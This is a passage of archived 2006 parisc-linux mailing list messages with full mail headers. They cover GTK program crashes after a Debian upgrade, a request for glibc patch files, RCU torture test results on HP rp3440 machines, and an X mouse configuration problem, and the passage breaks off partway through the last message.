NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:58 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jan 2006 17:59:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 21 Jan 2006 18:59:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 885217D69E;
	Sat, 21 Jan 2006 10:59:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21048-03; Sat, 21 Jan 2006 10:59:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BC267D68F;
	Sat, 21 Jan 2006 10:59:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DB5A7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Jan 2006 10:59:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20121-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Jan 2006 10:59:21 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 953FE7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Jan 2006 10:59:20 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id k0LHxGI03999 
	for <parisc-linux@lists.parisc-linux.org>; 
	Sat, 21 Jan 2006 18:59:16 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 62.235.232.95
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0hOgY9tNeSEkW76WZHQhaXN1IGRvbwBX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23397

Hi all,

I put additional question about
<http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D348109>

here because I presume there would be few who facing this pb ;_(

In short:

since this apt-get dist-upgrade:
### Mon Dec 19 09:38:46 2005 ###

Reading package lists...
Building dependency tree...
Starting
Starting 2
Investigating libsnmpkit2c2a
Package libsnmpkit2c2a has broken dep on libsnmpkit2c2
  Considering libsnmpkit2c2 1 as a solution to libsnmpkit2c2a 2
  Added libsnmpkit2c2 to the remove list
  Fixing libsnmpkit2c2a via remove of libsnmpkit2c2
Investigating libprinterconf0c2a
Package libprinterconf0c2a has broken dep on libprinterconf0c2
  Considering libprinterconf0c2 0 as a solution to libprinterconf0c2a 1
  Added libprinterconf0c2 to the remove list
  Fixing libprinterconf0c2a via remove of libprinterconf0c2
Investigating libsvncpp0c2a
Package libsvncpp0c2a has broken dep on libsvncpp0c2
  Considering libsvncpp0c2 0 as a solution to libsvncpp0c2a 0
  Holding Back libsvncpp0c2a rather than change libsvncpp0c2
Investigating rapidsvn
Package rapidsvn has broken dep on libsvncpp0c2a
  Considering libsvncpp0c2a 0 as a solution to rapidsvn 0
  Holding Back rapidsvn rather than change libsvncpp0c2a
 Try to Re-Instate rapidsvn
Done
The following packages will be REMOVED:
  libprinterconf0c2 libsnmpkit2c2
The following NEW packages will be installed:
  firefox irssi libcairo2 libpoppler0c2 libprinterconf0c2a libsnmpkit2c2a=

  vim-runtime
The following packages have been kept back:
  rapidsvn
The following packages will be upgraded:
  base-passwd binutils binutils-dev binutils-doc cogito db4.2-util db4.3-=
util
  debianutils debsums dialog dpatch fakeroot git-core glibc-doc groff
  groff-base irb1.8 irssi-text kernel-package libasound2 libc6 libc6-dev
  libc6-pic libcupsys2 libdb4.2 libdb4.3 libdbm-ruby1.8 libgtk2.0-0
  libgtk2.0-bin libgtk2.0-common libgtk2.0-doc libkpathsea4 libkrb53
  libpango1.0-0 libpango1.0-common libperl5.8 libreadline-ruby1.8 libruby=
1.8
  libssl-dev libssl0.9.8 libtcltk-ruby1.8 lintian locales make manpages
  manpages-dev menu mozilla-firefox netcat openssl pciutils pconf-detect =
perl
  perl-base perl-doc perl-modules rdoc1.8 ri1.8 ruby1.8 ruby1.8-examples =
scite
  stunnel syslinux tetex-bin transfig vim vim-common xprint xprint-common=

69 upgraded, 7 newly installed, 2 to remove and 1 not upgraded.
Need to get 0B/86.8MB of archives.
After unpacking 9374kB of additional disk space will be used.
Do you want to continue [Y/n]? Reading changelogs...

many gui like gftp-gtk, firefox, d4x, gdmsetup,... segv.
(as well as runing on p-l as i386 boxes :_( )

Fwiw, this only occures with my operational hpux 11.00 CDE graphical env =
and
not with some other sun cde (sparc solaris 9) or xfce debian unstable (i3=
86).

the only w-a I found is to downgrade libgtk2.0 by using previous:
libgtk2.0-common_2.6.10-1_all.deb libgtk2.0-bin_2.6.10-1_i386.deb \
libgtk2.0-0_2.6.10-1_i386.deb libgtk2.0-doc_2.6.10-1_all.deb

That why I select this specific pkg as br target, though.

gdb (for i386 and p-l) seems useless:
# gdb
GNU gdb 6.4-debian
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i486-linux-gnu".
(gdb) target core ./core
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(no debugging symbols found)
Core was generated by `/usr/bin/gftp-gtk'.
Program terminated with signal 11, Segmentation fault.
#0  0x00000000 in ?? ()

Any idea how should I investigate in more detail?

TIA,
    Joel

=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Updated glibc 2.3.5-8.1
Date: Sun, 22 Jan 2006 16:12:45 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <43D3AEFD.6070406@tiscali.be>
References: <20060108030342.GA17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623998 18005 80.91.229.3 (22 Nov 2014 02:39:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:58 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jan 2006 16:13:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 22 Jan 2006 17:13:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05FA57D6AD;
	Sun, 22 Jan 2006 09:13:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28069-06; Sun, 22 Jan 2006 09:13:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E1D37D6AE;
	Sun, 22 Jan 2006 09:13:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA5FA7D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 09:12:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28069-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 09:12:57 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id E40F87D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 09:12:56 -0700 (MST)
Original-Received: from (ip-62-235-232-95.dial.scarlet.be [62.235.232.95]) 
	by oola.is.scarlet.be  with ESMTP id k0MGCoJ04467; 
	Sun, 22 Jan 2006 17:12:50 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
In-Reply-To: <20060108030342.GA17559@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QcqhY4RfeSEkNL6WZHQhaXN1IGRvbwBN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23398



Carlos O'Donell wrote:
> Updated glibc 2.3.5-8.1
> 
> Contains the following extra fixes:
> 
> - Added relocation support for:
> 	= DIR21L, DIR14R, PLABEL21L, PLABEL21R.
> 
> - Fixed return value restore in syscall cancellation
> 
> - Probably messed up fpu code but made it more compliant
>   with the fr0 save/restore of T-bit.
> 
> - Removed implied routines for 128-bit long double, default
>   should be whatever gcc uses for long double (DFmode).
> 
> Update located:
> http://www.parisc-linux.org/~carlos/glibc-work/glibc-2.3.5-debs-2006-01-07/
> 
mmm, isn't it possible to add your .diff.gz (may be also .dsc),
that would help me a lot to countinue my test with gcc-4.0 ;-)

[...]
> 
> This is probably the patch set I will send upstream.
> 
TIA,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rcu torture test panics on 2-way pa8800
Date: Sun, 22 Jan 2006 11:43:39 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20060122184339.GA26201@colo.lackof.org>
References: <20060122071308.GA8592@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623999 18007 80.91.229.3 (22 Nov 2014 02:39:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jan 2006 18:34:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 22 Jan 2006 19:34:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E1B07D67F;
	Sun, 22 Jan 2006 11:34:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29035-01; Sun, 22 Jan 2006 11:34:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87EC37D658;
	Sun, 22 Jan 2006 11:34:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BF6E7D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 11:34:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28651-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 11:34:11 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B9C317D648
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 11:34:11 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8F55B36001A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 11:43:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23638-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 11:43:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3CDB736000C; Sun, 22 Jan 2006 11:43:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060122071308.GA8592@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: erWhY+RteSEkRL6WZHQhaXN1IGRvb4At
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23399

On Sun, Jan 22, 2006 at 12:13:08AM -0700, Grant Grundler wrote:
> Hi,
> I accidentally include RCU_TORTURE_TEST=y in the 2.6.16-rc1-pa2
> kernels I was building and it worked fine on two out of three
> of the rp3440 (pa8800 CPU) boxes I'm banging on.
...
> Got the following panic on the 2-core 800Mz box:

FYI.

One of the 4-way 800Mhz rp3440's ran rcu torture test overnight:
ioz:/usr/src/linux-2.6# w
 10:27:57 up 10:46,  1 user,  load average: 9.01, 9.01, 9.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     ttyS1    -                23:45    0.00s  0.73s  0.04s w
ioz:/usr/src/linux-2.6# uname -a
Linux ioz 2.6.16-rc1-pa1 #3 SMP Thu Jan 19 17:26:22 PST 2006 parisc64 GNU/Linux


top - 10:27:33 up 10:45,  1 user,  load average: 9.01, 9.02, 9.00
Tasks:  78 total,   9 running,  69 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.0% us, 99.8% sy,  0.0% ni,  0.2% id,  0.0% wa,  0.0% hi,  0.0% si
Mem:   2053212k total,   976424k used,  1076788k free,   162632k buffers
Swap:        0k total,        0k used,        0k free,   482212k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND           
  135 root      39  19     0    0    0 R 67.6  0.0 318:58.94 rcu_torture_rea    
  129 root      39  19     0    0    0 R 50.2  0.0 320:48.46 rcu_torture_rea    
  130 root      39  19     0    0    0 R 50.2  0.0 317:37.93 rcu_torture_rea    
  128 root      39  19     0    0    0 R 48.3  0.0 317:52.39 rcu_torture_rea    ...

something is clearly working differently on the 2-way (single socket)
machine. I'm inclined to believe it's a clue about L2 cache at this point.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240 mouse
Date: Sun, 22 Jan 2006 16:26:57 -0500
Lines: 532
Approved: news@gmane.org
Message-ID: <001601c61f9a$9314db00$3301a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0127094609=="
X-Trace: ger.gmane.org 1416623999 18009 80.91.229.3 (22 Nov 2014 02:39:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jan 2006 21:27:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 22 Jan 2006 22:27:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75B227D69A;
	Sun, 22 Jan 2006 14:27:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29865-08; Sun, 22 Jan 2006 14:27:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39BC87D677;
	Sun, 22 Jan 2006 14:27:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 107437D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 14:27:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29793-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 14:27:02 -0700 (MST)
Original-Received: from mxsf14.cluster1.charter.net (mxsf14.cluster1.charter.net
	[209.225.28.214])
	by free.linux.hp.com (Postfix) with ESMTP id 3C82E7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 14:27:02 -0700 (MST)
Original-Received: from mxip02a.cluster1.charter.net (mxip02a.cluster1.charter.net
	[209.225.28.132])
	by mxsf14.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	k0MLR1Dj011266 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 16:27:01 -0500
Original-Received: from 24-176-132-220.dhcp.sffl.va.charter.com (HELO POGO)
	([24.176.132.220])
	by mxip02a.cluster1.charter.net with ESMTP; 22 Jan 2006 16:27:01 -0500
X-IronPort-AV: i="4.01,210,1136178000"; 
	d="scan'208,217"; a="1855509110:sNHT36131712"
X-Mailer: Microsoft Office Outlook 11
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
Thread-Index: AcYfmpKid0I7GIDZTRuDdIaCS6ab9w==
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5p2hY90qeSEkWb6WZHQhaXN1IGRvbwDp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23400

This is a multi-part message in MIME format.

--===============0127094609==
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0017_01C61F70.AA3ED300"

This is a multi-part message in MIME format.

------=_NextPart_000_0017_01C61F70.AA3ED300
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

 

I'm almost there with X from the console.  Gnome "looks" good.  I finally
got the video settings where I want them, I just can't seem to get the mouse
to work.  I've tried almost every option via `dpkg-reconfigure
xserver-xfree86`, but no luck.  I rebooted into HP-UX and the mouse does
work there, so it isn't a hardware problem.  HP-UX sees the mouse as "8/12/7
Built-in Keyboard/Mouse ps2 ".  Hopefully some of the information below will
show the error of my ways.  Any help would be greatly appreciated!!!!

 

 

 

 

/etc/X11/XF86Config-4:

Section "InputDevice"

        Identifier      "Configured Mouse"

        Driver          "mouse"

        Option          "CorePointer"

        Option          "Device"                "/dev/psaux"

        Option          "Protocol"              "PS/2"

        Option          "Emulate3Buttons"       "true"

        Option          "ZAxisMapping"          "4 5"

EndSection

 

ll /dev/psaux

crw-rw----  1 root root 10, 1 Jan 22 15:30 /dev/psaux

 

 

End of XFree86.0.log

 

(II) Keyboard "Generic Keyboard" handled by legacy driver

(**) Option "Protocol" "PS/2"

(**) Configured Mouse: Protocol: "PS/2"

(**) Option "CorePointer"

(**) Configured Mouse: Core Pointer

(**) Option "Device" "/dev/psaux"

(**) Option "Emulate3Buttons" "true"

(**) Configured Mouse: Emulate3Buttons, Emulate3Timeout: 50

(**) Option "ZAxisMapping" "4 5"

(**) Configured Mouse: ZAxisMapping: buttons 4 and 5

(**) Configured Mouse: Buttons: 5

(II) XINPUT: Adding extended input device "Configured Mouse" (type: MOUSE)

(II) Configured Mouse: ps2EnableDataReporting: succeeded

Could not init font path element unix/:7100, removing from list!

AUDIT: Sun Jan 22 16:09:07 2006: 3943 X: client 4 rejected from local host

 

 

howlin:/boot# grep -i mouse config-2.6.8-2-32-smp

CONFIG_INPUT_MOUSEDEV=y

CONFIG_INPUT_MOUSEDEV_PSAUX=y

CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024

CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768

CONFIG_INPUT_MOUSEDEV_PSAUX_ENABLE=y

CONFIG_INPUT_MOUSE=y

CONFIG_MOUSE_PS2=m

CONFIG_MOUSE_SERIAL=m

CONFIG_MOUSE_INPORT=m

# CONFIG_MOUSE_ATIXL is not set

CONFIG_MOUSE_LOGIBM=m

CONFIG_MOUSE_PC110PAD=m

CONFIG_MOUSE_VSXXXAA=m

CONFIG_MOUSE_HIL=m

CONFIG_USB_MOUSE=m

 

 


------=_NextPart_000_0017_01C61F70.AA3ED300
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:r_ansi;
	panose-1:2 11 6 9 2 2 2 2 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I&#8217;m almost there with X from the console.&nbsp; =
Gnome &#8220;looks&#8221;
good.&nbsp; I finally got the video settings where I want them, I just =
can&#8217;t
seem to get the mouse to work.&nbsp; I&#8217;ve tried almost every =
option via `dpkg-reconfigure
xserver-xfree86`, but no luck.&nbsp; I rebooted into HP-UX and the mouse =
does
work there, so it isn&#8217;t a hardware problem.&nbsp; HP-UX sees the =
mouse as
